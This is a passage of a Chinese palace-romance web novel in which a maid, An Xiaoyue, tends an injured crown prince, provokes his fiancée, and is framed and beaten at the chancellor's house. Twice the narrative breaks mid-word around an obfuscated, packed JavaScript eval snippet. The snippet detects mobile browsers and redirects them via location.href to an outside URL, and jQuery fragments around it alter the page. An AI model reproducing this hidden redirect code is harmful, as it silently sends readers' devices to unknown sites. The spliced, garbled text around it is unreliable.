安小月像是没注意到,转过身去拧热帕子,紧接着轻轻放在他右边胸口。 “嘶……”萧衍猛地握拳。 “奴手重了吗?”安小月佯装惶恐,却将身子伏得更低。 萧衍皱眉欲骂,却在抬眼的瞬间陡然一顿。 烛光下,她衣裳领口因为俯身的动作微微敞开,露出一小半雪白盈润。 再往上看,一双杏眸在烛光下像是带着丝丝水雾,睫毛无助的颤动着。 萧衍喉结动了动,哑声道,“孤让你停了?” 安小月抿唇,顺着他的胸膛慢慢往下,到腰腹时,她故意放慢动作,翻来覆去擦了好几遍才收手。 重新洗了干净帕子,接着擦左边身子,因着左肩有伤,她一手挡在伤口旁边,一手拿着帕子擦拭。 两人心思各异,等到上半身擦完竟不约而同都出了一身汗。 安小月放了帕子,又去解绷带,瞄了他一眼。 “会有些疼,殿下忍一忍。” 萧衍黑眸沉沉地看向她,挑眉,“在你心中,孤还会怕疼?” 安小月轻轻调开棉布包扎的一角,轻声道,“殿下是血肉之躯,自然会有痛感,奴也怕自己笨手笨脚弄疼了殿下。” 萧衍的神情陡然凝固。 他自幼就被当作储君培养,多少人跪在他脚下臣服,却从没有人问过他疼不疼。 他忽然想起来八岁那年从马上摔下来,太傅只说“储君不可露怯”,而母后也只问“可否耽误读书”。 安小月见他沉默,浑身绷得很紧,还以为弄疼了他。 想了想,她小心翼翼凑过去轻轻往伤口上吹气。 “我娘说过,吹吹就不疼了。” 萧衍沉寂许久的心湖因为她简单的一句话和再平常不过的动作突然方寸大乱。 见她打算退回去,猛地按住她的肩膀,目光幽深。 “孤还疼。” 他难得有这般孩子气的时候,安小月不知怎的就想起来以前阳儿经常受伤,也是赖在她身边撒娇喊疼。 她下意识嗔了他一眼,凑过去又吹了几下。 “殿下别闹了,该上药了。” 安小月轻轻推开他的手转身去拿药膏,丝毫没有注意到她转身时,萧衍眼底一闪而过的笑意。 她动作又轻又慢,比那些个小太监不知道要好用多少。 萧衍慢悠悠道,“看在你耐心伺候的份上,孤就饶了你私自搬出西跨院的事,但若还有下次……不用孤说,你知道会有什么后果。” 安小月忙讨好笑笑。 “谢殿下开恩,再没有下次了。” 她说完继续专注上药,发丝垂落,有几缕不经意扫过他赤裸的胸膛。 力道轻得像羽毛拂过,却留下不容忽视的痕迹。 她终于包扎完毕,却没立即起身,又俯身凑近,嘟起红唇轻轻碰了碰左肩。 “乖乖……”说到一半,她猛地闭了嘴,眼睛瞪得滚圆,像是撞了鬼似的。 萧衍眉心早已蹙起,突然扣住她的手腕。 “安小月,你可知道自己在做什么?” 安小月涨红了脸,正要解释,抬眼却瞧见他眸色深得吓人,还不等反应就被拽上了榻。 萧衍用没受伤的右侧身子压着她,温热的唇落下来,带着惩罚般的狠劲,在她颈侧重重一吮。 安小月疼得“嘶”了一声,心里却得意极了。 明日安欢颜看到这痕迹,怕是想**的心都有了! 她还在愣神,他完好的右手却已经探入她的衣襟,安小月轻呼一声,身子软了一半。 萧衍喘着粗气,“孤说过,只要你安分守己,不再惹事,孤保你这辈子衣食无忧。” “但你若是存了二心,孤一定亲手杀了你!” 最后这三个字砸得她心神一颤,哪里还有什么旖旎心思,没被吓晕都是万幸。 萧衍骤然松开她,眼底欲色未退,却已浮上懊恼。 “滚出去!” 安小月晕乎乎地爬起来,忙拢好衣襟,退到殿外才敢摸脖子上的痕迹。 嘴角却忍不住高高翘起。 狗太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642276|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子还是这般容易被引诱,不枉费她大着胆子把他当成阳儿对待。 这时,赵忠挎着刀从玉庆宫门口经过,见她这幅模样,愣了愣,又了然的别开脸。 安小月突然脸红,慌乱地点了头便匆忙离开。 次日晨时,安欢颜畅通无阻地进了太子府。 她一脚刚踏入内殿,就瞧见安小月正俯身在太子耳边说着什么。 让人意外的是,太子竟然没推开她,反而微微侧首,神情颇为认真。 苏德尴尬的轻咳两声,“殿下,安大小姐来了。” 两人又同时往这边看过来,安小月不仅没离开,反而盯着安欢颜又低语几句,才缓缓撤开。 萧衍神色淡定,没有一丝被未婚妻抓住的窘迫。 安欢颜不由得攥紧了帕子。 “给安大小姐请安。” 安小月慢悠悠福身,侧身时颈边那抹红痕不经意露出,像是无声的叫嚣。 “你……” 安欢颜一眼瞧见,气得咬牙切齿。 但瞥见太子投来的目光,又硬生生忍住火气,强撑着笑,点了点头。 “你退下吧,这里不用你了。” 她用尽全力忽视安小月的存在,往前走了几步,盈盈一拜,“臣女给殿下请安。” “嗯。” 萧衍随意应了声,却对安小月道,“去把桌上的折子拿来。” “诺。” 安小月应声过去,经过安欢颜身边时,眼尾状似无意往她身上瞥去,嘴角勾起一抹耐人寻味的笑。 这痕迹新鲜得很,她怕过了一夜不明显,今早还特意掐了几次。 如今看安欢颜的反应,果真没走错棋。 安欢颜的胸脯剧烈起伏,拳头紧握,显然是气到了要爆发的边缘。 可当着太子的面,再借给她十个胆子也不敢发火。 她深吸一口气,打开食盒,“殿下,这是臣女请教过太医后,亲手给殿下熬的汤。” 她昨日亲自请教了府里的老厨娘,还问过太医,就不信还会出错。 盛了小半碗,殷勤的双手捧着,却半天没等到他接过去。 安欢颜试探,“殿下?” 第82章 不会看着她被欺负 萧衍扫了一眼,“放着吧。” 安欢颜手一抖,险些将汤洒到地上,不甘心地还想再劝,就听到身后传来熟悉的脚步声。 安小月抱了折子回来,熟门熟路地取出小几架在床榻上,跪坐在榻边开始研墨。 太子没有赶人,就连苏德也是一副见怪不怪的样子。 显然这是长久相处才有的默契。 没人招呼安欢颜,她只能呆站在原地,看着安小月自然地替太子挽起衣袖,他批完一本,她便自觉接过,递上新的。 这些亲密,远比那个吻痕看着更让人心如刀绞。 她应该高兴的。 安小月越得宠,越容易套出太子府的秘密。 可此时胸腔里翻涌的酸涩几乎要冲破喉咙。 那个永远只配被她踩在脚底下的贱奴,凭什么能肆无忌惮的得到太子的偏宠? 她站了许久,直到萧衍出声要茶才被惊醒。 安小月像是才看到她似的,诧异道,“安大小姐怎么还在这里站着?殿下处理公务,不许旁人在侧。” 萧衍拧眉,目露不悦。 “你难道还有话要说?” “没有。”安欢颜勉强扯动嘴角,旁人两个字打得她脸颊火辣辣的疼。 “殿下安心养伤,臣女明日再来,臣女告退。” 她连行礼都顾不上周全,转身便快步离开内殿。 苏德见情况不妙,福了福身,也追了上去。 安小月紧绷的肩膀终于松下,嘴角扬起一抹淡淡的笑意,身后忽然传来一道声音。 “你故意激怒她,就不怕宫里有人寻你麻烦?” 萧衍的声音不轻不重,却让心里有鬼的安小月心头一颤,猛地抬头。 “奴……”她慌忙跪好,膝行半步凑近,扬起的小脸刻意露出几分惊慌无措。 “奴只是,只是做了该做的事。” 萧衍伸手捏住她的下巴,力道不重,却让她无法挣脱。 “让太子妃撞见孤与你亲近,明日宫里就该传孤宠妾灭妻的闲话了。” 安小月脸一红,怯怯道,“奴是殿下的妾吗?” 萧衍忽然笑了,那笑意只虚虚挂在嘴边,无端让人看出几分危险。 安小月忽然伸手揪住他的袖口。 “可是奴是太子府的人啊,殿下不会看着奴被人欺负的,是不是?” 萧衍挑了挑眉,慢条斯理地甩开她的手。 “那可不一定。” 安小月太熟悉这种语调,一般他不直接拒绝,那就表明他要看她的表现再做决定。 她心里叫苦,却还是等苏德回来后,就退下去了小厨房。 这段时日她也并非没有半点收获,至少让她摸清楚了狗太子的喜好,那就是栗子酥。 还要用花瓣泡过的水和面,这样面皮自带一股香甜,狗太子就爱这一口。 她忙活了一下午才弄出来两笼,全都放进食盒,脚步轻巧地穿过回廊,却在即将踏上台阶时,猛地顿住。 “……那狼群耳朵上都有印记,属下查过,正是……” 冷肃熟悉的声音从半掩的殿门内传出,安小月头皮发麻,下意识后退半步,却不慎将食盒磕到了墙上。 “咯噔……” 殿内的交谈声戛然而止。 门猛地被推开,赵忠锐利的目光钉在安小月身上,大手一把扣住她纤细的手腕,把人扯了进来。 “殿下,是安姑娘。” 食盒“哐当”跌落在地,幸好盒盖紧实没裂。 她脚下踉跄差点摔倒,无意抬头,看见狗太子右手正把玩着一把**。 跳动的烛光照在他轮廓分明的侧脸,越发看不清楚他眼底的神色。 “听到了多少?” 安小月扑通跪下,额头沁出一层冷汗,“奴刚走到门口,真的什么都没听清!” 她扬起煞白的小脸,“殿下若是不信,奴可以用自己的性命起誓。” 萧衍垂眸看她,手里转动**的速度快了几分。 赵忠眼底闪过一抹不忍,却还是按住佩刀,沉声道,“殿下,不如属下……” “罢了。”萧衍抬手打断,勾勾手指示意安小月上前。 “今日之事,若是孤从第四个人嘴里听到,孤只能割了你的舌头,免得你再胡言乱语。” 他说着把**往安小月嘴边一抵,冰凉的刀身一下子就让她彻底清醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642277|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “奴不敢,奴绝对不会胡言乱语!” 萧衍嗤笑,随手扔了**,“这么怕做什么,你如此贴心,孤怎么舍得杀你?” 他摆手让赵忠出去,又问,“做了什么东西?” 安小月还陷在命悬一线的恐慌当中没有脱身,听到他的声音不自觉抖了抖身子。 片刻才缩着脖子道,“是栗子酥,奴特意用花瓣水和面,味道香甜,这才着急送来让殿下品尝。” 萧衍抬手拍了拍她的脸,“瞧,孤说的多对,你可真是贴心。” “拿过来吧,孤尝尝。” 安小月忙爬过去把食盒拎过来,打开盒盖,发现里面掉了不少酥皮。 她脸色一下又变得惨白,怯生生道,“殿下若是想吃,奴重新做一盘来吧,这些不能吃了。” 栗子酥讲究的就是外面那十二层酥皮,再说掉到地上的东西,她更不敢拿给太子食用。 萧衍摆了摆手示意无碍。 安小月只得硬着头皮捡好的栗子酥摆到玉盏递过去,好在他连着吃了三个都没再说什么。 还不等她松口气,苏德带着太医从外头进来了。 太医一看到太子在吃栗子酥这种甜腻之物,当即就出声阻止。 “殿下三思,栗子酥的酥油重,对殿下的伤势有害无益,还是暂且忍忍吧。” 苏德没好气低斥,“还不快端出去?” “诺。” 安小月心里更慌了,没料到原本想拍马屁没拍成,还差点害了狗太子。 她出门之前悄悄看了他一眼,狗太子闭目养神,并没有要发难的意思。 她这才忙不迭溜之大吉。 回到屋子,王嬷嬷立即迎了上来,见她神色慌张,双手冰凉,顿时慌了。 “姑娘可是被殿下责罚了?今日不是还……” “王嬷嬷。”安小月开口打断,用力握了握她的手。 “半个月后便是端午,我想问殿下讨个恩典,去外头买些丝线打几个络子,嬷嬷明日若是有空,可否陪我出去一趟?” 王嬷嬷会意,满口答应下来。 “姑娘放心,正好我认识一家小媳妇卖的花样子很是好看,咱们明日就去看看。” 第83章 背后隐情 安小月要给安欢颜的教训今日已经够了,过犹不及,她便打算歇上一日,也好避避风头。 次日晌午,她拦住苏德刚说出自己想告半日假,就见他干脆利落的点头应了。 “准了,殿下那儿有我看着,你只管去吧。” 他笑眯眯的,不知道又打着什么主意。 安小月只能装作看不出来,福身道谢,回屋叫上王嬷嬷,带着银子从后门出了太子府。 她刚出门,苏德便迫不及待的进了内殿。 “殿下,安姑娘当真出门买丝线去了,殿下马上就要有新络子用了!” 萧衍唇角不着痕迹的勾起,眼神却凉飕飕的。 “孤堂堂储君,难道还短几个络子?” 苏德了然,忙讪笑点头。 “是,是,奴才说错了,她能给殿下打络子是她的福气,就是做上十七八个也是她的福气。” 萧衍啧啧道,“十个八个有些多了,一两个尽够了。” 嘴上说着不在意,脑子却不受控制的开始想她究竟会做什么样的络子送他。 苏德在一旁看破不说破,笑得颇为古怪。 西市人潮如织,安小月紧紧挽着王嬷嬷,先去绸缎庄买了几束丝线。 她打算给自己和王嬷嬷各打两个络子,再给娘和阳儿打两个,想办法托人送到相府。 王嬷嬷看她还盯着铺里挂着的丝线看,低声提醒道,“你若是想给殿下打几个,回去我给你弄些适合殿下的颜色回来,外头是买不到那些颜色的。” 安小月一愣,她差点忘了狗太子。 今年短了谁的都不能短了这位爷的呀! 她忙对着王嬷嬷道谢,幸亏有她提醒,要不然这位爷还不知道要怎么折腾人。 买好了丝线,两人又去其他铺子随便转了转。 安小月这才拉着王嬷嬷喊饿。 “前头就是醉仙楼了,听闻这家的杏仁酪最是香甜,老婆子我馋了半年了。” 安小月眼眸闪了闪,笑道,“好,那我们便去这里。” 两人相携往酒楼而去,上了二楼最里的雅间,青莲就坐在窗边,听到动静急忙站了起来。 安小月目光一顿。 她记得青莲离开前相貌虽不说有多出众,但也算清秀可人,尤其是那双眼睛很是灵性。 可如今记忆里那个伶俐丫头,圆润的脸颊凹陷下去,即便是一手撑着桌子,左脚也只是虚虚点在地上。 唯一没变的就是那双眼睛,亮得惊人。 青莲眼眶一红,想跪下,左脚却使不上劲,险些栽倒在地,幸好王嬷嬷扑上去扶了一把。 青莲哭喊,“姑娘。” 安小月忍着心慌,“我不是主子,你不必跪我,再说你现在已脱了奴籍,更没必要下跪。” 青莲哽咽摇头,“是我对不住姑娘,若是我没有被旁人蒙骗,姑娘就不用吃那么多苦!” 安小月看了眼王嬷嬷,见她眼神飘忽,就猜到她早已把后来发生的事情告诉了青莲。 她无声叹了口气,王嬷嬷的心到底还是在青莲那儿。 “算了,已经过去了,不说也罢,只是你刚才说被人蒙骗……” 安小月打起了精神,“这是什么意思?” 王嬷嬷扶着青莲让她坐下,低声道,“你们慢慢聊,我去外头守着。” 安小月点头,任由她去了。 雅间内,青莲的声音压得极低。 “那日姑娘出去后,大概过了半个时辰,我也出去了一趟,我本是去找你的,但是……” 她紧紧抓住桌沿,指节泛白。 “可刚走到偏院,我就撞见安大小姐和三公主在凉亭下面说话。” 安小月心头一跳,算着时间。 那个时候她应该还没撞见让她去拿茶点的老太监,所以是在诵经开始之前那段时间。 刚进瑞光寺就想着怎么让她出丑,真是难为了安欢颜堂堂嫡女,还时时惦记着她。 安小月示意她继续说。 “安大小姐问三公主有没有听说过姑娘的名字,还说太子殿下身边有了女子本是好事,但她知道姑娘是相府的逃奴,如今仗着太子殿下目中无人,迟早会惹出祸事。” 安小月冷笑。 原来安欢颜早就打算用逃奴的骂名制裁她,就不怕她反咬出来更大的秘密吗? “后来三公主就说要替太子殿下管教奴婢,说要给姑娘个教训,我本想着找到姑娘报信,但是她们发现了我!” 安小月看向青莲,她闭着眼睛神情很是痛苦。 “三公主的人把我押到跟前,她们得知我是太子殿下院里的就来了主意,借着我的宫牌溜进别院,把东西塞进了你的屋子,我,我怕她会对我的家人下手,就没敢说……” 安小月沉默良久,不知道该说什么才好。 青莲没有里应外合害她,但也算是间接背叛,她实在不知到底该不该怪她。 “所以你的腿……” 那日不过打了十多个板子,就算小太监下手再狠,也不至于断腿。 青莲点头,“是三公主派人打断了我的腿,殿下留了我一条命,她不敢杀我,只能断我一条腿泄愤。” 安小月胸口发闷,伸手握住她发抖的手。 “那你今日冒险找我,是想要个公平吗?先前我跟皇后娘娘身边的嬷嬷提过这事,后来三公主就得到了应有的惩罚,也算是替你报了仇吧。” 青莲哭着摇头,“我不奢望姑娘能原谅我,只是这件事一直压在心里,让我夜夜不得安眠,我做了坏事,辜负了姑娘的真心,活该受到惩罚。” 安小月无奈地看着她,想起王嬷嬷说青莲的爹娘打算把她嫁出去的事。 只是她不过是个奴婢,到底能帮她做什么? 她抿了抿唇,终究是不忍心青莲走上这条不归路。 安小月叹了口气。 “先前王嬷嬷的意思,应该是想让我借着太子殿下的名义去你家里走一趟,让你爹娘不敢再打把你嫁人的主意,只是这样纸包不住火,迟早会暴露。” “你若是相信,待我回府之后,试着把这件事告诉太子殿下,若能给你求个恩典,那最好不过了。” 青莲眼睛一亮,连哭都忘了,眼泪呆呆地挂在脸上,惹人发笑。 安小月掏出帕子给她擦脸。 柔声道,“你为了家人背叛我,我虽然伤心,但不至于恨你,这件事我帮了你,就当是最后一次回报你一开始对我的好心吧。” 第84章 不能亏待你 安小月并非烂好心的人。 她只是太清楚做奴才的苦,像蝼蚁似的被碾在鞋底,是死是活全在贵人的一念之间。 如今她在太子府的地位微妙,虽不过是一枚随时会被放弃的棋子,但若能借这轻如鸿毛的份量撬动些什么,那也值了。 再说,坏人应当受到报应。 回府时暮色朦胧,安小月问过苏德,得知太子已经换了药睡下,她便没去玉庆宫伺候。 她坐在自己屋里,翻出所有丝线在灯下细细分拣。 王嬷嬷又从库房里取了些储君才能用上的杏黄玄色等丝线送来,安小月便忙开了。 银针带着丝线穿梭,直到梆子敲过三更才睡下。 不到清晨,她又被噩梦惊醒。 梦里,她又回到了相府那间阴暗的柴房,青莲趴在地上生死未知,而安欢颜站在廊下,浅笑嫣然盯着自己。 “你以为你逃得掉?” 安小月猛地坐起身,胸口剧烈起伏,喉咙更像是被火燎过,连呼吸都带着血腥气。 她闭了闭眼,一把抓过床边绣篮里的杏色丝线,这是她唯一的倚仗了。 天色刚亮,安小月已梳洗干净,拎着绣篮去了玉庆宫。 她进去时,萧衍正倚在软塌上看折子,气色比前几日看着要精神许多。 “殿下怎的下来了?” 先前太医说过,要在床上静养七日才可挪动,可如今不过才第四日。 安小月眼睛有意无意总往他左肩上飘。 萧衍抬眸,目光在她脸上停留了一瞬,淡声道,“孤无大碍。” 安小月乖顺点头。 她倒不是比太医还要操心他的身子,循例关心完,就坐在脚踏边,从篮中取出昨夜未完工的络子。 石榴红的穗子垂下来,在沉闷的环境中显露出一抹艳色。 萧衍眉心不受控制地蹙了蹙,突然开口,“你长相寡淡,偏要用艳红,着实俗气。” 安小月指尖一顿,差点将手里的东西砸过去。 她若真是长相寡淡,又是谁次次都会被引诱到? 她不动声色地将络子放下,转而抽出几缕杏黄与玄色丝线,放在一处比了比,又接着在篮子里翻找起来。 萧衍终于抬眼,佯装不经意地轻咳两下,“这两种颜色尚可,若是加入银线收边,更显庄重。” 安小月抿唇笑道,“谁说是给殿下打的?” 她故意将两种丝线又放回去,重新拿了个藕荷色的出来。 “奴倒是觉得杏黄与藕荷绝配,瞧着就雅淡。” 萧衍眉梢一挑,伸手去抓她的腕子,却被安小月如同泥鳅一般灵活躲过。 她身子后倾,笑吟吟地盯着他,还坏心眼地晃了晃手上的丝线。 “胆子不小。” 萧衍眯着眼睛,语气危险,却隐隐透露出几分纵容。 又招手,“过来,孤不与你一般计较。” “奴才不信。” 安小月轻哼,眼珠滴溜溜转了一圈,又将篮里编了一半的石榴红络子拿出来。 “不如这条给殿下?红色喜庆,殿下可喜欢?” 萧衍被她这明目张胆的挑衅气笑了,伸手便要抓她。 安小月又像刚才那样侧身躲开,却不料他早有防备,长臂一揽,直接扣住她的肩膀往怀里带。 男人霸道的气息瞬间将她包裹,安小月惊呼一声,被他炙热的目光盯得头晕目眩。 “殿下……” 她挣扎着要起身,却被他牢牢按住。 “跑什么?”萧衍贴着她的耳垂低语,指尖挑起一缕散落的发丝,轻轻拽了拽。 “刚才不是挺能耐?敢戏耍孤?” 安小月正要反驳,半掩的殿门却突然被推开。 安欢颜拎着食盒站在门口,脸色煞白,身后还跟着面如死灰的苏德。 空气凝滞了一瞬。 苏德正要硬着头皮打圆场,就见安欢颜飞快调整好神色,冲着殿内的人柔柔一笑。 “殿下,臣女贸然前来,可有打扰到殿下?” 萧衍面无表情地松开手,安小月立刻退开两步,低头装模作样的整理衣襟,露出的脖颈带着几分羞红。 安欢颜指尖狠狠陷进掌心,缓步走近,目光扫过地上的丝线,又落在安小月脸上。 她忽然轻笑道,“你在太子府过得倒是惬意,可还记得相府旧事?” 安小月一愣,抬头看她。 “当初你惹了祸匆忙离府,工钱还未结清呢。” 安欢颜神色柔和,侧对着萧衍的眼底却迸发出毫不掩饰的恶意与讽刺。 “母亲得知你现如今是太子府的奴婢,一直惦记着这事,说不能亏待了你。” 安小月心头猛地一揪。 凭她对安欢颜的了解,她口中现在的母亲,绝对不单纯代表王氏,还有那个日日被王氏欺负的妇人。 安小月攥紧袖口,偷瞄太子。 “奴婢确实该回去一趟,先前还有些东西放在相府没带出来,求殿下恩典。” 萧衍靠在软榻上,手里漫不经心地把玩着那束杏黄丝线,闻言抬眸,不动声色地打量面前的两人。 似笑非笑道,“准了。” 安小月和安欢颜同时不着痕迹地松了口气,又别开脸,谁都没再看谁。 翌日,安小月带着王嬷嬷踏上去相府的路。 因着天色阴沉,似乎随时有可能下暴雨,苏德便自作主张派了辆马车送她。 马车碾过青石板路,车轮声沉闷压抑,像是碾在安小月心上似的。 她掀开车帘一角,望着越来越近的相府高墙,心情复杂。 又要回到那个吃人的地方了。 上一次离开相府,他们有求于她都未加收敛,而如今她顶着太子贴身侍婢的名头回来,那些人会因此收敛吗? 安小月默默叹了口气,大概率是不会的。 她太了解那些人了。 安禄海虚伪,王氏刻薄,安欢颜恶毒…… 他们只会因为她攀附上太子而嫉恨,更加变本加厉地折磨她。 可她又实在想念娘和阳儿。 纵纵使知道这次回来有可能不能全身而退,她也不得不回来。 想到这儿,她胸口一阵疼痛,额头都沁出一层冷汗。 “姑娘,擦擦汗吧。” 王嬷嬷递过来一张帕子,温声劝道,“相府再如何,也不会对你怎么样,毕竟你是从太子府出来的,若真出了事,他们也不好收场,放心吧。” 安小月接过帕子擦了擦汗,声音轻得几乎听不见。 “若真是这样就好了。” 可惜他们不会在乎这些。 第85章 同样的招数 马车停在相府门口时,风声更大了,灰沉沉的天色像是某种不祥的预兆。 门房的人见了她,连通报都懒得去。 只三五扎堆凑到一起阴阳怪气,“哟,可了不得,听说你现在是太子府的红人了,好端端的还来这里做甚?莫不会是来炫耀的吧?” 安小月不把他们的挑衅放在眼里,淡淡道,“安大小姐叫我回来,劳烦通传一声。” 其中一人嗤笑道,“等着吧。” 随后就进了门,还像防贼似的把大门紧紧关上。 王嬷嬷差点惊掉下巴,气得跺脚。 “这些人实在可恶,等回了太子府,我定要好好跟殿下说说,堂堂相府就是这般待客之道!” 安小月自嘲道,“嬷嬷别浪费口舌了,我只不过是个小小婢女,就算是太子府的人,那也是婢女,也只有您能看得起我。” 王嬷嬷闻言悻悻闭嘴,自然是听出她话里的不满。 两人就站在门口,不过半个时辰,便被冷风冻得指尖发麻,手脚冰凉。 安小月正要坐回马车上等,大门却开了。 门房居高临下道,“大小姐说了,你可以进去,但不能带人,否则哪来的回哪去。” 王嬷嬷脸色一变就要上前理论,被安小月一把拦住。 “嬷嬷去马车上等吧,若是时间久了,带着李叔去街上的铺子吃点茶也好。” 安小月说着从荷包里抓出一把碎银子递给她,转身跟着门房进了相府。 正厅里,安禄海和王氏坐在主位,安欢颜坐在旁侧。 三人神情如出一辙的冷漠。 “跪下。” 安小月刚跨进正厅,就见王氏头也没抬的冷声命令。 她没动,敷衍福身行礼。 “太子殿下先前免了我的跪拜之礼,让我跪你,怕是不太合适。” 她信口胡诌的自然。 反正狗太子也不在场,她想怎么说就怎么说,他总不能暗中派人跟着她到相府吧? 王氏皱眉不悦,呵斥,“就算你现在是太子府的人,别忘了你身上留着哪家的血,在我面前还敢摆架子?我看你是活腻了!” 安禄海皱了皱眉,“行了,说正事。” 他看安小月的眼神复杂,既厌恶,又带着隐隐的期待。 “进展如何?” 安小月垂眸,“殿下虽然待我不错,但依旧警惕,我尚未得手。” “废物!”安禄海勃然大怒。 “陛下已经提前了婚期,你若再拖下去,岂不是要等颜儿嫁进太子府?” “你是逃了,别忘了你娘和弟弟,若他们因为你失约而遭受痛苦……你还能睡得着?” 安小月骤然抬头,眼底恨意浓烈。 “你若敢动他们,我便直接向太子求情,依殿下如今对我的态度,要两个人不过是一句话的事,到时候我只能供出你们,别怪我翻脸无情!” 周围霎时死寂一片。 三人惊了。 便是从前用那俩人拿捏安小月的时候,都不见她这么有骨气,现在却敢直接跟他们叫板。 王氏冷笑,“果真是翅膀硬了,你这是在威胁我们?” 安欢颜咬牙切齿,“这贱婢仗着太子的势,连父亲母亲都不放在眼里,实在可恶!” 安禄海脸色阴沉。 “很好,既然你不识抬举,那就别怪我不客气!” 王氏与他狼狈为奸多年,光是听语气就听出了他的心思,直接唤来两个粗壮婆子。 “你们两个,搜她的身。” 两个婆子立刻上前,一人扣住安小月的手臂,一人粗暴地扯开她的外衫。 安小月心中一紧,上次被诬陷偷东西的阴影随之而来。 “你想做什么?” 王氏慢条斯理的哼笑,“我丢了一只金镯子,府里上上下下都搜遍了,就剩你没查,就算太子殿下在场,也断然没有让苦主忍气吞声的道理。” “你这是诬蔑我!” 话音刚落,一个嬷嬷突然从她身上摸出一物,高高举起来。 “夫人,找到了!” 安小月瞳孔骤缩,果真是亲母女,连路数都一模一样! 王氏厉喝,“人赃俱获,难道你还敢狡辩?来人,给我狠狠的打!” 嬷嬷抄起事先准备好的藤条,狠狠抽到安小月背上。 藤条挥过来带着破开空气的飒飒声,紧接着便是一声皮肉绽开的闷响。 安小月咬紧牙关,硬生生咽下痛呼。 她不能求饶,否则她们会更加得意。 藤条如雨点般落下,她的后背很快血肉模糊,人也脱力跌到地上。 安欢颜眼中闪过畅快,掩唇轻笑。 “嬷嬷可别打死了,太子殿下还等着她回去伺候呢。” 安禄海冷眼旁观,见她渐渐不挣扎了,才抬手示意停下。 “打你,是为了让你记住今日的教训,若再敢违逆,下次代你受罚的,可就是别人了。” 安小月浑身发抖,眼中恨意如刀。 “你们虎狼一窝,真不愧是亲生的母女,安欢颜,你以为自己做的就天衣无缝吗?” “上次你陷害我偷三公主的玉佩,没过几日三公主的贴身嬷嬷便溺水而亡,你就没想过为何?” 安欢颜心跳倏地加速,面色恐慌。 “你胡说!三公主教训你那是你罪有应得,那嬷嬷死了,也是她……” “该死”两个字却迟迟说不出口。 若是那嬷嬷该死,让她死的人又会是谁? 安欢颜第一反应是这贱人挑拨太子替她报仇,可转念一想,又觉得不对。 她警惕地望着安小月,却见后者眼皮一翻,竟是晕了。 几个婆子架着她出了相府,到底顾及太子的颜面,没把事情做绝,还给她披了件披风。 此时天已擦黑,王嬷嬷正在马车旁焦急打转。 瞧见对面的阵仗,惊得倒抽一口凉气。 “姑娘!” 婆子把安小月扔给王嬷嬷便往后退了好几步,福了福身。 “这贱婢趁着我家夫人不备,偷了夫人的金镯子藏在身上,若不是家中下人警惕,只怕真要被她得手,我家小姐作为未来的太子妃,自作主张替殿下教训了这个贱婢,还请嬷嬷莫要怪罪。” 说罢,几人扬长而去。 王嬷嬷听得稀里糊涂,和车夫一起将安小月扶上马车,正要仔细问问,却发现人已经彻底昏死过去。 无奈,只得先回了太子府再说。 安小月再醒来时,夜已深透了。 她艰难地四处打量,发现自己已经回了太子府,终于松了口气。 “醒了?” 一道低沉磁性的声音突然响起。 第86章 退婚 安小月吓了一跳,挣扎时扯动了伤口,疼得连连倒抽气,眼角溢出了泪花。 只见狗太子坐在旁边的空床上,直勾勾地盯着她。 “孤记得你告假时说的是回去取些旧物,你可没说还要偷拿别人的金镯子。” 他声音平静,却带着不掩饰的嘲讽。 安小月张了张嘴,喉咙干哑难忍,根本发不出声音。 一旁的王嬷嬷大着胆子辩解。 “殿下,安姑娘如今是太子府的人,别说每月的月钱如何,就是先前殿下还赏了百两白银,也不至于去偷别人的东西,这其中必有猫腻,请殿下明察!” 萧衍冷哼,“说不定她就是贱骨头,天生比别人多一只手。” 王嬷嬷讪讪,不敢再说话了。 萧衍盯着安小月瞧了半晌,又问,“是谁动的手?” 安小月艰难地指了指自己的脖子,又轻轻摇头,却听到萧衍不耐烦的冷哼。 “给她喂水。” 王嬷嬷急忙到了杯温水过来,扶着安小月一点点喝完,帮她擦了擦嘴才退下。 “说!到底怎么回事?” 安小月低哑出声,“奴有要紧的事想告诉殿下,还请殿下屏退众人。” 萧衍挑了挑眉,摆手。 苏德和王嬷嬷对视一眼,福身退下。 等屋里只剩下他们两个,安小月忍着后背的疼,声音清晰笃定道,“殿下,或许奴说了这些,殿下会认为奴在攀扯贵人,但为了殿下的安危,奴不得不说!” 萧衍扯动嘴角,“你说便是。” 安小月深吸一口气,“殿下可还记得先前在瑞光寺的时候,奴婢被人陷害说偷了三公主玉簪的事情?” “当时查出与外人里应外合的人是青莲,可昨日奴外出偶然撞见她,却得知那日的事还有隐情。” 萧衍眸光一冷。 安小月继续说,“青莲说那日午后她外出寻奴,却无意撞上安大小姐和三公主在凉亭下说话,安大小姐口口声声说奴借着殿下宠爱无法无天,以后指不定还要爬到三公主头上……” “三公主被她激怒,这才想法子打算教训奴,青莲想跟奴报信,却被她们发现,得知青莲是太子府的人,就借着她的宫牌溜进别院,将玉簪偷偷藏在奴的屋子里!” 安小月时刻留意着他的反应,见他的脸色彻底沉了下来。 见状不由得放轻了声音。 “奴本不想拿这些琐事烦扰殿下,可今日去相府,安大小姐嫉妒奴受殿下宠爱,又用这种招数陷害……” 她哽咽道,“安大小姐如今还不是太子妃,就敢私自插手太子府事务,若她日后真进了门,奴怕是连命都保不住了!殿下,奴真的好怕……” 